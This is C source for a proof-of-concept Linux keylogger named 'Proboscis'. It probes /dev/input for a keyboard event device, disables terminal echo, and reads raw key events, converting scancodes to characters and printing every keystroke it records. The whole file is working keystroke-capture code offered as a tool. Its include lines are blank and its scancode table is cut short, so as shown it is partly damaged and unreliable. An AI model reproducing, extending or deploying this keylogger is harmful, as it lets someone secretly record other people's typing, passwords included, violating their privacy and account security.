/** POC event interface key logger * * Records all keystrokes from the event * devices in /dev/input/ * * The event interface must be enabled and * the keyboard must be in raw scancode * mode, which seems to be the norm * * Eddie Bell - ebell@bluebottle.com * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PATH "/dev/input/" #define PROBE_FAILED -1 #define PROBE_NO_RESPONSE 0 #define PROBE_MATCH 1 #define ECHO_OFF 0 #define ECHO_ON 1 /* * Scancode conversion array */ char *keycode[256] = { "", "", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "", "", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]", "\n", "", "a", "s", "d", "f", "g", "h", "j", "k", "l", ";", "'", "", "", "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/", "", "", "", " ", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "\\", "f11", "f12", "", "", "", "", "", "", "", "", "", "", "" }; char buf[1024]; int fd = -1; /* * Disables terminal echoing */ void echoctl (int type) { static struct termios tc; static struct termios ots; if (type == ECHO_OFF) { // save current settings tcgetattr (STDIN_FILENO, &tc); ots = tc; // disable echo tc.c_lflag &= ~ECHO; tc.c_lflag |= ECHONL; tcsetattr (STDIN_FILENO, TCSAFLUSH, &tc); } else { // enable echo tcsetattr (STDIN_FILENO, TCSAFLUSH, &ots); } } /* * turn character echoing back on */ void handler (int sig) { echoctl (ECHO_ON); printf ("\nexiting...(%d)\n", sig); exit (0); } void perror_exit (char *error) { perror (error); handler (9); } /* * Process the raw scancodes */ void read_keys (int rfd, char *keys[]) { struct input_event ev[64]; int rd, value, size = sizeof (struct input_event); while (1) { if ((rd = read (rfd, ev, size * 64)) < size) perror_exit ("read()"); // Only read the key press event // NOT the key release event value = ev[0].value; if (value != ' ' && ev[1].value == 1 && ev[1].type == 1) { if (keys[value] != NULL) { printf ("%s", (keys[value])); fflush (stdout); } } } } /* * check if a device responds to keyboard input */ int test_device (char buf[]) { int fd, results; char inbuf[128]; char testbuffer[10] = "proboscis!"; fd_set rfds; struct timeval tv; if ((fd = open (buf, O_RDONLY | O_NONBLOCK)) < 0) return PROBE_FAILED; else { // send character to keyboard getchar (); // check if device has outputted the data results = read (fd, inbuf, 128); close(fd); if(results > 0) return PROBE_MATCH; else return PROBE_NO_RESPONSE; } } /* * Check each device in /dev/input and determine if * it is a keyboard device */ char * scan_for_devices () { DIR *event_devices = opendir (PATH); struct dirent *dir = NULL; int found = PROBE_NO_RESPONSE; if (event_devices == NULL) { printf ("Cannot open the event interface directory (%s)\n", PATH); perror_exit ("opendir()"); } printf ("scanning for devices in %s\n\n", PATH); printf ("* NOTE: Please hold down the enter key to provide test data *\n"); getchar (); while ((dir = readdir (event_devices)) != NULL && (found != PROBE_MATCH)) { // ignore this and parent directory if ((strncmp (dir->d_name, ".", 1)) != 0) { snprintf (buf, 1024, "%s%s", PATH, dir->d_name); printf ("\ttrying %s", dir->d_name); found = test_device (buf); } } printf ("\n"); if (found == PROBE_MATCH) return buf; else return NULL; } int main (int argc, char *argv[]) { char name[256] = "Unknown"; char *device = NULL; int i = 25; printf ("Proboscis - Eddie Bell www.ebell.co.uk\n"); if (argv[1] == NULL) { printf ("Please specify (on the commandlime) the path to the dev event interface device\n"); printf ("If you do not know which device to specify, use the argument 'scan'\n"); exit (0); } if ((getuid ()) != 0) printf ("You are not root! This may not work...\n"); if (argc > 1) device = argv[1]; echoctl (ECHO_OFF); if ((strncmp (device, "scan", 4)) == 0) { if ((device = scan_for_devices ()) == NULL) printf ("Cannot find event device. \ Are you sure the event device is enabled?\n"); } if ((fd = open (device, O_RDONLY)) == -1) { printf ("%s is not a vaild device. try using the argument 'scan'\n", device); } ioctl (fd, EVIOCGNAME (sizeof (name)), name); printf ("Reading From : %s (%s)\n", device, name); while (i--) signal (i, &handler); read_keys (fd, keycode); return 0; }